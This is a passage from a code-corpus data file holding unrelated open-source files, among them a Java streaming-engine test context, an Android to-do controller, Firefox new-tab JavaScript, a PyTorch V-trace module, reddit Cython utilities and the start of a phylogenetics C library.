com.datatorrent.common.util.FSStorageAgent;\nimport com.datatorrent.stram.Journal.Recoverable;\nimport com.datatorrent.stram.api.StramEvent;\nimport com.datatorrent.stram.api.StreamingContainerUmbilicalProtocol.StramToNodeRequest;\nimport com.datatorrent.stram.plan.physical.PTContainer;\nimport com.datatorrent.stram.plan.physical.PTOperator;\nimport com.datatorrent.stram.plan.physical.PhysicalPlan.PlanContext;\n\npublic class TestPlanContext implements PlanContext, StorageAgent, Serializable\n{\n public List events = new ArrayList<>();\n public Collection undeploy;\n public Collection deploy;\n public Set releaseContainers;\n public List checkpointDeletes = Lists.newArrayList();\n public Map> checkpoints = Maps.newHashMap();\n public int backupRequests;\n\n @Override\n public void deploy(Set releaseContainers, Collection undeploy, Set startContainers, Collection deploy)\n {\n this.undeploy = Sets.newHashSet(undeploy);\n this.deploy = Sets.newHashSet(deploy);\n this.releaseContainers = releaseContainers;\n }\n\n @Override\n public void dispatch(Runnable r)\n {\n events.add(r);\n }\n\n @Override\n public void save(Object operator, final int operatorId, final long windowId) throws IOException\n {\n ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n try {\n FSStorageAgent.store(byteArrayOutputStream, operator);\n } finally {\n byteArrayOutputStream.close();\n }\n backupRequests++;\n Map m = checkpoints.get(operatorId);\n if (m == null) {\n m = Maps.newHashMap();\n checkpoints.put(operatorId, m);\n }\n m.put(windowId, byteArrayOutputStream.toByteArray());\n }\n\n @Override\n public Object load(int operatorId, long windowId) throws IOException\n {\n Map m = checkpoints.get(operatorId);\n if (m == null || !m.containsKey(windowId)) {\n throw new IOException(\"checkpoint not found operatorId=\" + operatorId + \" windowId=\" + windowId);\n }\n ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(m.get(windowId));\n try {\n return FSStorageAgent.retrieve(byteArrayInputStream);\n } finally {\n byteArrayInputStream.close();\n }\n }\n\n @Override\n public void delete(int operatorId, long windowId) throws IOException\n {\n checkpointDeletes.add(operatorId);\n }\n\n @Override\n public long[] getWindowIds(int operatorId) throws IOException\n {\n throw new UnsupportedOperationException();\n }\n\n @Override\n public void recordEventAsync(StramEvent ev)\n {\n }\n\n @Override\n public void writeJournal(Recoverable operation)\n {\n }\n\n @Override\n public void addOperatorRequest(PTOperator oper, StramToNodeRequest request)\n {\n }\n\n public static class MockOperatorStatus implements StatsListener.BatchedOperatorStats\n {\n final PTOperator oper;\n\n public MockOperatorStatus(PTOperator oper)\n {\n this.oper = oper;\n }\n\n @Override\n public List getLastWindowedStats()\n {\n return Collections.emptyList();\n }\n\n @Override\n public int getOperatorId()\n {\n return oper.getId();\n }\n\n @Override\n public long getCurrentWindowId()\n {\n return 0;\n }\n\n public long tuplesProcessedPSMA = 0;\n\n @Override\n public long getTuplesProcessedPSMA()\n {\n return tuplesProcessedPSMA;\n }\n\n public long tuplesEmittedPSMA;\n\n @Override\n public long getTuplesEmittedPSMA()\n {\n return this.tuplesEmittedPSMA;\n }\n\n @Override\n public double getCpuPercentageMA()\n {\n return 0;\n }\n\n @Override\n public long getLatencyMA()\n {\n return 0;\n }\n\n @Override\n public List getOperatorResponse()\n {\n return null;\n }\n }\n\n}\n"} +{"text": "\n\n\n\n\tCFBundleDevelopmentRegion\n\tEnglish\n\tCFBundleDisplayName\n\t${PRODUCT_NAME}\n\tCFBundleExecutable\n\t${EXECUTABLE_NAME}\n\tCFBundleIconFiles\n\t\n\t\tIcon.png\n\t\tIcon@2x.png\n\t\tIcon-72.png\n\t\tIcon-Small.png\n\t\tIcon-Small-50.png\n\t\tIcon-Small@2x.png\n\t\n\tCFBundleIdentifier\n\tcom.apple.dts.${PRODUCT_NAME:identifier}\n\tCFBundleInfoDictionaryVersion\n\t6.0\n\tCFBundleName\n\t${PRODUCT_NAME}\n\tCFBundlePackageType\n\tAPPL\n\tCFBundleSignature\n\teDTS\n\tCFBundleVersion\n\t1.2\n\tLSRequiresIPhoneOS\n\t\n\tNSMainNibFile\n\tMainWindow\n\n\n"} +{"text": "package com.yydcdut.note.markdown;\n\nimport android.widget.Toast;\n\nimport com.yydcdut.rxmarkdown.RxMDConfiguration;\nimport com.yydcdut.rxmarkdown.RxMDEditText;\n\n/**\n * Created by yuyidong on 16/8/17.\n */\npublic class TodoController {\n private RxMDEditText mRxMDEditText;\n private RxMDConfiguration mRxMDConfiguration;\n\n public TodoController(RxMDEditText rxMDEditText, RxMDConfiguration rxMDConfiguration) {\n mRxMDEditText = rxMDEditText;\n mRxMDConfiguration = rxMDConfiguration;\n }\n\n public void doTodo() {\n int start = mRxMDEditText.getSelectionStart();\n int end = mRxMDEditText.getSelectionEnd();\n int position0 = Utils.findBeforeNewLineChar(mRxMDEditText.getText(), start) + 1;\n int position00 = Utils.findBeforeNewLineChar(mRxMDEditText.getText(), end) + 1;\n if (position0 != position00) {\n Toast.makeText(mRxMDEditText.getContext(), \"无法操作多行\", Toast.LENGTH_SHORT).show();\n return;\n }\n if (\"- [ ] \".equals(mRxMDEditText.getText().subSequence(position0, position0 + \"- [ ] \".length()).toString())) {\n mRxMDEditText.getText().delete(position0, position0 + \"- [ ] \".length());\n } else if (\"- [x] \".equalsIgnoreCase(mRxMDEditText.getText().subSequence(position0, position0 + \"- [ ] \".length()).toString())) {\n mRxMDEditText.getText().delete(position0, position0 + \"- [x] \".length());\n mRxMDEditText.getText().insert(position0, \"- [ ] \");\n } else {\n mRxMDEditText.getText().insert(position0, \"- [ ] \");\n }\n }\n\n public void doTodoDone() {\n int start = mRxMDEditText.getSelectionStart();\n int end = mRxMDEditText.getSelectionEnd();\n int position0 = Utils.findBeforeNewLineChar(mRxMDEditText.getText(), start) + 1;\n int position00 = Utils.findBeforeNewLineChar(mRxMDEditText.getText(), end) + 1;\n if (position0 != position00) {\n Toast.makeText(mRxMDEditText.getContext(), \"无法操作多行\", Toast.LENGTH_SHORT).show();\n return;\n }\n if (\"- [x] \".equals(mRxMDEditText.getText().subSequence(position0, position0 + \"- [x] \".length()).toString())) {\n mRxMDEditText.getText().delete(position0, position0 + \"- [x] \".length());\n } else if (\"- [ ] \".equalsIgnoreCase(mRxMDEditText.getText().subSequence(position0, position0 + \"- [ ] \".length()).toString())) {\n mRxMDEditText.getText().delete(position0, position0 + \"- [ ] \".length());\n mRxMDEditText.getText().insert(position0, \"- [x] \");\n } else {\n mRxMDEditText.getText().insert(position0, \"- [x] \");\n }\n }\n}\n"} +{"text": "#ifdef 0\n/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this file,\n * You can obtain one at http://mozilla.org/MPL/2.0/. */\n#endif\n\n/**\n * This class manages a cell's DOM node (not the actually cell content, a site).\n * It's mostly read-only, i.e. all manipulation of both position and content\n * aren't handled here.\n */\nfunction Cell(aGrid, aNode) {\n this._grid = aGrid;\n this._node = aNode;\n this._node._newtabCell = this;\n\n // Register drag-and-drop event handlers.\n [\"dragenter\", \"dragover\", \"dragexit\", \"drop\"].forEach(function(aType) {\n this._node.addEventListener(aType, this, false);\n }, this);\n}\n\nCell.prototype = {\n /**\n * The grid.\n */\n _grid: null,\n\n /**\n * The cell's DOM node.\n */\n get node() { return this._node; },\n\n /**\n * The cell's offset in the grid.\n */\n get index() {\n let index = this._grid.cells.indexOf(this);\n\n // Cache this value, overwrite the getter.\n Object.defineProperty(this, \"index\", {value: index, enumerable: true});\n\n return index;\n },\n\n /**\n * The previous cell in the grid.\n */\n get previousSibling() {\n let prev = this.node.previousElementSibling;\n prev = prev && prev._newtabCell;\n\n // Cache this value, overwrite the getter.\n Object.defineProperty(this, \"previousSibling\", {value: prev, enumerable: true});\n\n return prev;\n },\n\n /**\n * The next cell in the grid.\n */\n get nextSibling() {\n let next = this.node.nextElementSibling;\n next = next && next._newtabCell;\n\n // Cache this value, overwrite the getter.\n Object.defineProperty(this, \"nextSibling\", {value: next, enumerable: true});\n\n return next;\n },\n\n /**\n * The site contained in the cell, if any.\n */\n get site() {\n let firstChild = this.node.firstElementChild;\n return firstChild && firstChild._newtabSite;\n },\n\n /**\n * Checks whether the cell contains a pinned site.\n * @return Whether the cell contains a pinned site.\n */\n containsPinnedSite: function() {\n let site = this.site;\n return site && site.isPinned();\n },\n\n /**\n * Checks whether the cell contains a site (is empty).\n * @return Whether the cell is empty.\n */\n isEmpty: function() {\n return !this.site;\n },\n\n /**\n * Handles all cell events.\n */\n handleEvent: function(aEvent) {\n // We're not responding to external drag/drop events\n // when our parent window is in private browsing mode.\n if (inPrivateBrowsingMode() && !gDrag.draggedSite)\n return;\n\n if (aEvent.type != \"dragexit\" && !gDrag.isValid(aEvent))\n return;\n\n switch (aEvent.type) {\n case \"dragenter\":\n aEvent.preventDefault();\n gDrop.enter(this, aEvent);\n break;\n case \"dragover\":\n aEvent.preventDefault();\n break;\n case \"dragexit\":\n gDrop.exit(this, aEvent);\n break;\n case \"drop\":\n aEvent.preventDefault();\n gDrop.drop(this, aEvent);\n break;\n }\n }\n};\n"} +{"text": "// Source file from duniter: Crypto-currency software to manage libre currency such as Ğ1\n// Copyright (C) 2018 Cedric Moreau \n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n\nimport {Indexer} from \"../../../app/lib/indexer\"\n\nconst should = require('should');\n\nconst FAIL = false;\nconst SUCCESS = true;\n\ndescribe(\"Protocol BR_G51 - Number\", function(){\n\n it('1 following 1 should fail', async () => {\n const block = { number: 1 } as any\n const HEAD_1 = { number: 1 } as any\n const HEAD = {} as any\n Indexer.prepareNumber(HEAD, HEAD_1);\n Indexer.ruleNumber(block, HEAD).should.equal(FAIL);\n })\n\n it('1 following 0 should succeed', async () => {\n const block = { number: 1 } as any\n const HEAD_1 = { number: 0 } as any\n const HEAD = {} as any\n Indexer.prepareNumber(HEAD, HEAD_1);\n Indexer.ruleNumber(block, HEAD).should.equal(SUCCESS);\n })\n\n it('0 following 0 should fail', async () => {\n const block = { number: 0 } as any\n const HEAD_1 = { number: 0 } as any\n const HEAD = {} as any\n Indexer.prepareNumber(HEAD, HEAD_1);\n Indexer.ruleNumber(block, HEAD).should.equal(FAIL);\n })\n\n it('0 following nothing should succeed', async () => {\n const block = { number: 0 } as any\n const HEAD_1 = null as any\n const HEAD = {} as any\n Indexer.prepareNumber(HEAD, HEAD_1);\n Indexer.ruleNumber(block, HEAD).should.equal(SUCCESS);\n })\n\n it('4 following nothing should fail', async () => {\n const block = { number: 4 } as any\n const HEAD_1 = null as any\n const HEAD = {} as any\n Indexer.prepareNumber(HEAD, HEAD_1);\n Indexer.ruleNumber(block, HEAD).should.equal(FAIL);\n })\n\n it('4 following 2 should fail', async () => {\n const block = { number: 4 } as any\n const HEAD_1 = { number: 2 } as any\n const HEAD = {} as any\n Indexer.prepareNumber(HEAD, HEAD_1);\n Indexer.ruleNumber(block, HEAD).should.equal(FAIL);\n })\n\n it('4 following 3 should succeed', async () => {\n const block = { number: 4 } as any\n const HEAD_1 = { number: 3 } as any\n const HEAD = {} as any\n Indexer.prepareNumber(HEAD, HEAD_1);\n Indexer.ruleNumber(block, HEAD).should.equal(SUCCESS);\n })\n\n})\n"} +{"text": "# Copyright (c) 2019 Sony Corporation. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nadd_executable(mnist_training main.cpp)\nfind_package(ZLIB REQUIRED)\ninclude_directories(${ZLIB_INCLUDE_DIRS})\ntarget_link_libraries(mnist_training ${NBLA_LIBRARY_NAME} ${NBLA_UTILS_LIBRARY_NAME} ${ZLIB_LIBRARIES})\nset_property(TARGET mnist_training PROPERTY CXX_STANDARD 11)\n"} +{"text": "# This file is taken from\n# https://github.com/deepmind/scalable_agent/blob/\n# cd66d00914d56c8ba2f0615d9cdeefcb169a8d70/vtrace.py\n# and modified.\n\n# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Functions to compute V-trace off-policy actor critic targets.\n\nFor details and theory see:\n\n\"IMPALA: Scalable Distributed Deep-RL with\nImportance Weighted Actor-Learner Architectures\"\nby Espeholt, Soyer, Munos et al.\n\nSee https://arxiv.org/abs/1802.01561 for the full paper.\n\"\"\"\n\nimport collections\n\nimport torch\nimport torch.nn.functional as F\n\nVTraceFromLogitsReturns = collections.namedtuple(\n \"VTraceFromLogitsReturns\",\n [\n \"vs\",\n \"pg_advantages\",\n \"log_rhos\",\n \"behavior_action_log_probs\",\n \"target_action_log_probs\",\n ],\n)\n\nVTraceReturns = collections.namedtuple(\"VTraceReturns\", \"vs pg_advantages\")\n\n\ndef action_log_probs(policy_logits, actions):\n return -F.nll_loss(\n F.log_softmax(torch.flatten(policy_logits, 0, 1), dim=-1),\n torch.flatten(actions, 0, 1),\n reduction=\"none\",\n ).view_as(actions)\n\n\ndef from_logits(\n behavior_policy_logits,\n target_policy_logits,\n actions,\n discounts,\n rewards,\n values,\n bootstrap_value,\n clip_rho_threshold=1.0,\n clip_pg_rho_threshold=1.0,\n):\n \"\"\"V-trace for softmax policies.\"\"\"\n\n target_action_log_probs = action_log_probs(target_policy_logits, actions)\n behavior_action_log_probs = action_log_probs(behavior_policy_logits, actions)\n log_rhos = target_action_log_probs - behavior_action_log_probs\n vtrace_returns = from_importance_weights(\n log_rhos=log_rhos,\n discounts=discounts,\n rewards=rewards,\n values=values,\n bootstrap_value=bootstrap_value,\n clip_rho_threshold=clip_rho_threshold,\n clip_pg_rho_threshold=clip_pg_rho_threshold,\n )\n return VTraceFromLogitsReturns(\n log_rhos=log_rhos,\n behavior_action_log_probs=behavior_action_log_probs,\n target_action_log_probs=target_action_log_probs,\n **vtrace_returns._asdict(),\n )\n\n\n@torch.no_grad()\ndef from_importance_weights(\n log_rhos,\n discounts,\n rewards,\n values,\n bootstrap_value,\n clip_rho_threshold=1.0,\n clip_pg_rho_threshold=1.0,\n):\n \"\"\"V-trace from log importance weights.\"\"\"\n with torch.no_grad():\n rhos = torch.exp(log_rhos)\n if clip_rho_threshold is not None:\n clipped_rhos = torch.clamp(rhos, max=clip_rho_threshold)\n else:\n clipped_rhos = rhos\n\n cs = torch.clamp(rhos, max=1.0)\n # Append bootstrapped value to get [v1, ..., v_t+1]\n values_t_plus_1 = torch.cat(\n [values[1:], torch.unsqueeze(bootstrap_value, 0)], dim=0\n )\n deltas = clipped_rhos * (rewards + discounts * values_t_plus_1 - values)\n\n acc = torch.zeros_like(bootstrap_value)\n result = []\n for t in range(discounts.shape[0] - 1, -1, -1):\n acc = deltas[t] + discounts[t] * cs[t] * acc\n result.append(acc)\n result.reverse()\n vs_minus_v_xs = torch.stack(result)\n\n # Add V(x_s) to get v_s.\n vs = torch.add(vs_minus_v_xs, values)\n\n # Advantage for policy gradient.\n vs_t_plus_1 = torch.cat([vs[1:], torch.unsqueeze(bootstrap_value, 0)], dim=0)\n if clip_pg_rho_threshold is not None:\n clipped_pg_rhos = torch.clamp(rhos, max=clip_pg_rho_threshold)\n else:\n clipped_pg_rhos = rhos\n pg_advantages = clipped_pg_rhos * (rewards + discounts * vs_t_plus_1 - values)\n\n # Make sure no gradients backpropagated through the returned values.\n return VTraceReturns(vs=vs, pg_advantages=pg_advantages)\n"} +{"text": "# The contents of this file are subject to the Common Public Attribution\n# License Version 1.0. (the \"License\"); you may not use this file except in\n# compliance with the License. You may obtain a copy of the License at\n# http://code.reddit.com/LICENSE. The License is based on the Mozilla Public\n# License Version 1.1, but Sections 14 and 15 have been added to cover use of\n# software over a computer network and provide for limited attribution for the\n# Original Developer. In addition, Exhibit A has been modified to be consistent\n# with Exhibit B.\n#\n# Software distributed under the License is distributed on an \"AS IS\" basis,\n# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for\n# the specific language governing rights and limitations under the License.\n#\n# The Original Code is reddit.\n#\n# The Original Developer is the Initial Developer. The Initial Developer of\n# the Original Code is reddit Inc.\n#\n# All portions of the code written by reddit are Copyright (c) 2006-2015 reddit\n# Inc. All Rights Reserved.\n###############################################################################\n\nimport re\nfrom datetime import datetime, timedelta\nfrom pylons.i18n import ungettext, _\nimport math\n\ncpdef str to_base(long q, str alphabet):\n if q < 0: raise ValueError, \"must supply a positive integer\"\n cdef long l\n cdef long r\n l = len(alphabet)\n converted = []\n while q != 0:\n q, r = divmod(q, l)\n converted.insert(0, alphabet[r])\n return \"\".join(converted) or '0'\n\ncpdef str to36(long q):\n return to_base(q, '0123456789abcdefghijklmnopqrstuvwxyz')\n\ndef tup(item, ret_is_single=False):\n \"\"\"Forces casting of item to a tuple (for a list) or generates a\n single element tuple (for anything else)\"\"\"\n #return true for iterables, except for strings, which is what we want\n if hasattr(item, '__iter__'):\n return (item, False) if ret_is_single else item\n else:\n return ((item,), True) if ret_is_single else (item,)\n\ncdef _strips(str direction, text, remove):\n if direction == 'l': \n if text.startswith(remove): \n return text[len(remove):]\n elif direction == 'r':\n if text.endswith(remove): \n return text[:-len(remove)]\n else: \n raise ValueError, \"Direction needs to be r or l.\"\n return text\n\ncpdef rstrips(text, remove):\n \"\"\"\n removes the string `remove` from the right of `text`\n\n >>> rstrips(\"foobar\", \"bar\")\n 'foo'\n \n \"\"\"\n return _strips('r', text, remove)\n\ncpdef lstrips(text, remove):\n \"\"\"\n removes the string `remove` from the left of `text`\n \n >>> lstrips(\"foobar\", \"foo\")\n 'bar'\n \n \"\"\"\n return _strips('l', text, remove)\n\ndef strips(text, remove):\n \"\"\"removes the string `remove` from the both sides of `text`\n\n >>> strips(\"foobarfoo\", \"foo\")\n 'bar'\n \n \"\"\"\n return rstrips(lstrips(text, remove), remove)\n\nESCAPE = re.compile(r'[\\x00-\\x19\\\\\"\\b\\f\\n\\r\\t]')\nESCAPE_ASCII = re.compile(r'([\\\\\"/]|[^\\ -~])')\nESCAPE_DCT = {\n # escape all forward slashes to prevent attack\n '/': '\\\\/',\n '\\\\': '\\\\\\\\',\n '\"': '\\\\\"',\n '\\b': '\\\\b',\n '\\f': '\\\\f',\n '\\n': '\\\\n',\n '\\r': '\\\\r',\n '\\t': '\\\\t',\n }\ndef _string2js_replace(match):\n return ESCAPE_DCT[match.group(0)]\ndef string2js(s):\n \"\"\"adapted from http://svn.red-bean.com/bob/simplejson/trunk/simplejson/encoder.py\"\"\"\n for i in range(20):\n ESCAPE_DCT.setdefault(chr(i), '\\\\u%04x' % (i,))\n\n return '\"' + ESCAPE.sub(_string2js_replace, s) + '\"'\n\ndef timeago(str interval):\n \"\"\"Returns a datetime object corresponding to time 'interval' in\n the past. Interval is of the same form as is returned by\n timetext(), i.e., '10 seconds'. The interval must be passed in in\n English (i.e., untranslated) and the format is\n\n [num] second|minute|hour|day|week|month|year(s)\n \"\"\"\n from pylons import app_globals as g\n return datetime.now(g.tz) - timeinterval_fromstr(interval)\n\ndef timefromnow(interval):\n \"The opposite of timeago\"\n from pylons import app_globals as g\n return datetime.now(g.tz) + timeinterval_fromstr(interval)\n\ndef timedelta_by_name(interval):\n return timeinterval_fromstr('1 ' + interval)\n\ncdef dict timeintervald = dict(second = 1,\n minute = 60,\n hour = 60 * 60,\n day = 60 * 60 * 24,\n week = 60 * 60 * 24 * 7,\n month = 60 * 60 * 24 * 30,\n year = 60 * 60 * 24 * 365)\ncpdef timeinterval_fromstr(str interval):\n \"Used by timeago and timefromnow to generate timedeltas from friendly text\"\n parts = interval.strip().split(' ')\n if len(parts) == 1:\n num = 1\n period = parts[0]\n elif len(parts) == 2:\n num, period = parts\n num = int(num)\n else:\n raise ValueError, 'format should be ([num] second|minute|etc)'\n period = rstrips(period, 's')\n\n d = timeintervald[period]\n delta = num * d\n return timedelta(0, delta)\n\ncdef class TimeText(object):\n __slots__ = ('single', 'plural')\n cdef str single, plural\n\n def __init__(self, single, plural):\n self.single = single\n self.plural = plural\n\n def __call__(self, n):\n return ungettext(self.single, self.plural, n)\n\ntimechunks = (\n (60 * 60 * 24 * 365, TimeText('year', 'years')),\n (60 * 60 * 24 * 30, TimeText('month', 'months')),\n (60 * 60 * 24, TimeText('day', 'days')),\n (60 * 60, TimeText('hour', 'hours')),\n (60, TimeText('minute', 'minutes')),\n (1, TimeText('second', 'seconds'))\n )\ncdef timetext(delta, precision=None, bare=True):\n \"\"\"\n Takes a datetime object, returns the time between then and now\n as a nicely formatted string, e.g \"10 minutes\"\n Adapted from django which was adapted from\n http://blog.natbat.co.uk/archive/2003/Jun/14/time_since\n \"\"\"\n delta = max(delta, timedelta(0))\n cdef long since = delta.days * 24 * 60 * 60 + delta.seconds\n cdef long count\n cdef int i, seconds, n\n cdef TimeText name, name2\n\n for i, (seconds, name) in enumerate(timechunks):\n count = since // seconds\n if count != 0:\n break\n\n from r2.lib.strings import strings\n if count == 0 and delta.seconds == 0 and delta != timedelta(0):\n n = delta.microseconds // 1000\n s = strings.time_label % dict(num=n,\n time=ungettext(\"millisecond\",\n \"milliseconds\", n))\n else:\n s = strings.time_label % dict(num=count, time=name(int(count)))\n if precision:\n j = 0\n while True:\n j += 1\n since -= seconds * count\n if i + j >= len(timechunks):\n break\n if timechunks[i + j][0] < precision:\n break\n seconds, name = timechunks[i + j]\n count = since // seconds\n if count != 0:\n s += ', %d %s' % (count, name(count))\n\n if not bare:\n s += ' ' + _('ago')\n\n return s\n\ndef timesince(d, precision=None):\n from pylons import app_globals as g\n return timetext(datetime.now(g.tz) - d, precision)\n\ndef timeuntil(d, precision=None):\n from pylons import app_globals as g\n return timetext(d - datetime.now(g.tz), precision)\n\ncpdef dict keymap(keys, callfn, mapfn = None, str prefix=''):\n \"\"\"map a set of keys before a get_multi to return a dict using the\n original unmapped keys\"\"\"\n\n cdef dict km = {}\n cdef dict res # the result back from the callfn\n cdef dict ret = {} # our return value\n\n km = map_keys(keys, mapfn, prefix)\n res = callfn(km.keys())\n ret = unmap_keys(res, km)\n\n return ret\n\ncdef map_keys(keys, mapfn, str prefix):\n if (mapfn and prefix) or (not mapfn and not prefix):\n raise ValueError(\"Set one of mapfn or prefix\")\n\n cdef dict km = {}\n if mapfn:\n for key in keys:\n km[mapfn(key)] = key\n else:\n for key in keys:\n km[prefix + str(key)] = key\n return km\n\ncdef unmap_keys(mapped_keys, km):\n cdef dict ret = {}\n for key, value in mapped_keys.iteritems():\n ret[km[key]] = value\n return ret\n\ndef prefix_keys(keys, str prefix, callfn):\n if len(prefix):\n return keymap(keys, callfn, prefix=prefix)\n else:\n return callfn(keys)\n\ndef flatten(list lists):\n \"\"\"[[1,2], [3], [4,5,6]] -> [1,2,3,4,5,6]\"\"\"\n cdef list ret = []\n cdef list l\n \n for l in lists:\n ret.extend(l)\n\n return ret\n\ncdef list _l(l):\n \"\"\"Return a listified version of l, just returning l if it's\n already listified\"\"\"\n if isinstance(l, list):\n return l\n else:\n return list(l)\n\ndef get_after(list fullnames, fullname, int num, reverse=False):\n cdef int i\n\n if reverse:\n fullnames = _l(reversed(fullnames))\n\n if not fullname:\n return fullnames[:num]\n\n for i, item in enumerate(fullnames):\n if item == fullname:\n return fullnames[i+1:i+num+1]\n\n return fullnames[:num]\n"} +{"text": " 'Управление темами',\n 'breadcrumb' => [\n 'themes' => 'Темы',\n ],\n 'theme' => 'Тема',\n 'viewing theme' => 'Просмотр темы :theme',\n 'type' => 'Тип',\n];\n"} +{"text": "== font-size-zero-1.html font-size-zero-1-ref.html\n!= font-size-zero-1-ref.html font-size-zero-1-notref.html\n== font-size-zero-2.html font-size-zero-2-ref.html\n== font-size-adjust-zero-1.html font-size-zero-2-ref.html\n== font-size-adjust-zero-2.html font-size-zero-2-ref.html\n"} +{"text": "// name: DuplicateMod1.mo\n// keywords:\n// status: incorrect\n//\n\nmodel A\n Real x;\nend A;\n\nmodel DuplicateMod1\n A a(x = 1, x = 2);\nend DuplicateMod1;\n\n// Result:\n// Error processing file: DuplicateMod1.mo\n// [flattening/modelica/modification/DuplicateMod1.mo:11:14-11:19:writable] Notification: From here:\n// [flattening/modelica/modification/DuplicateMod1.mo:11:7-11:12:writable] Error: Duplicate modification of element x on component a.\n// Error: Error occurred while flattening model DuplicateMod1\n//\n// # Error encountered! Exiting...\n// # Please check the error message and the flags.\n//\n// Execution failed!\n// endResult\n"} +{"text": "/** \n * PLL (version 1.0.0) a software library for phylogenetic inference\n * Copyright (C) 2013 Tomas Flouri and Alexandros Stamatakis\n *\n * Derived from \n * RAxML-HPC, a program for sequential and parallel estimation of phylogenetic\n * trees by Alexandros Stamatakis\n *\n * This program is free software: you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the Free\n * Software Foundation, either version 3 of the License, or (at your option)\n * any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for\n * more details.\n * \n * You should have received a copy of the GNU General Public License along with\n * this program. If not, see .\n *\n * For any other enquiries send an Email to Tomas Flouri\n * Tomas.Flouri@h-its.org\n *\n * When publishing work that uses PLL please cite PLL\n * \n * @file searchAlgo.c\n * @brief Collection of routines for performing likelihood computation and branch optimization.\n *\n * Detailed description to appear soon.\n */\n#include \"mem_alloc.h\"\n\n#ifndef WIN32\n#include \n#include \n#include \n#include \n#endif\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"pll.h\"\n#include \"pllInternal.h\"\n\ntypedef struct bInf {\n double likelihood;\n nodeptr node;\n} bestInfo;\n\ntypedef struct iL {\n bestInfo *list;\n int n;\n int valid;\n} infoList;\n\ndouble treeOptimizeRapid(pllInstance *tr, partitionList *pr, int mintrav, int maxtrav, bestlist *bt, infoList *iList);\nnniMove getBestNNIForBran(pllInstance* tr, partitionList *pr, nodeptr p, double curLH);\nvoid evalNNIForSubtree(pllInstance* tr, partitionList *pr, nodeptr p, nniMove* nniList, int* cnt, int* cnt_nni, double curLH);\n\n\nstatic int cmp_nni(const void* nni1, const void* nni2);\nstatic void pllTraverseUpdate (pllInstance *tr, partitionList *pr, nodeptr p, nodeptr q, int mintrav, int maxtrav, pllRearrangeList * bestList);\nstatic int pllStoreRearrangement (pllRearrangeList * bestList, pllRearrangeInfo * rearr);\nstatic int pllTestInsertBIG (pllInstance * tr, partitionList * pr, nodeptr p, nodeptr q, pllRearrangeList * bestList);\nstatic int pllTestSPR (pllInstance * tr, partitionList * pr, nodeptr p, int mintrav, int maxtrav, pllRearrangeList * bestList);\nstatic void pllCreateSprInfoRollback (pllInstance * tr, pllRearrangeInfo * rearr, int numBranches);\nstatic void pllCreateNniInfoRollback (pllInstance * tr, pllRearrangeInfo * rearr);\nstatic void pllCreateRollbackInfo (pllInstance * tr, pllRearrangeInfo * rearr, int numBranches);\nstatic void pllRollbackNNI (pllInstance * tr, partitionList * pr, pllRollbackInfo * ri);\nstatic void pllRollbackSPR (partitionList * pr, pllRollbackInfo * ri);\n\nextern partitionLengths pLengths[PLL_MAX_MODEL];\n\npllBoolean initrav (pllInstance *tr, partitionList *pr, nodeptr p)\n{ \n nodeptr q;\n\n if (!isTip(p->number, tr->mxtips)) \n { \n q = p->next;\n\n do \n {\t \n if (! initrav(tr, pr, q->back)) return PLL_FALSE;\n q = q->next;\t\n } \n while (q != p); \n\n pllUpdatePartials(tr, pr, p, PLL_FALSE);\n }\n\n return PLL_TRUE;\n} \n\n\n/** @brief Optimize the length of a specific branch\n\n Optimize the length of the branch connecting \\a p and \\a p->back\n for each partition (\\a tr->numBranches) in library instance \\a tr.\n \n @param tr\n The library instance\n\n @param pr\n Partition list\n \n @param p\n Endpoints of branch to be optimized \n*/\nvoid update(pllInstance *tr, partitionList *pr, nodeptr p)\n{ \n nodeptr q; \n int i;\n double z[PLL_NUM_BRANCHES], z0[PLL_NUM_BRANCHES];\n int numBranches = pr->perGeneBranchLengths ? pr->numberOfPartitions : 1;\n\n #ifdef _DEBUG_UPDATE\n double \n startLH;\n \n pllEvaluateLikelihood (tr, p);\n \n startLH = tr->likelihood;\n #endif\n\n q = p->back; \n\n for(i = 0; i < numBranches; i++)\n z0[i] = q->z[i]; \n\n if(numBranches > 1)\n makenewzGeneric(tr, pr, p, q, z0, PLL_NEWZPERCYCLE, z, PLL_TRUE);\n else\n makenewzGeneric(tr, pr, p, q, z0, PLL_NEWZPERCYCLE, z, PLL_FALSE);\n\n for(i = 0; i < numBranches; i++)\n { \n if(!tr->partitionConverged[i])\n {\t \n if(PLL_ABS(z[i] - z0[i]) > PLL_DELTAZ) \n {\t \n tr->partitionSmoothed[i] = PLL_FALSE;\n }\t \n\n p->z[i] = q->z[i] = z[i];\t \n }\n }\n \n #ifdef _DEBUG_UPDATE\n pllEvaluateLikelihood (tr, p);\n \n if(tr->likelihood <= startLH)\n {\n if(fabs(tr->likelihood - startLH) > 0.01)\n \t{\n \t printf(\"%f %f\\n\", startLH, 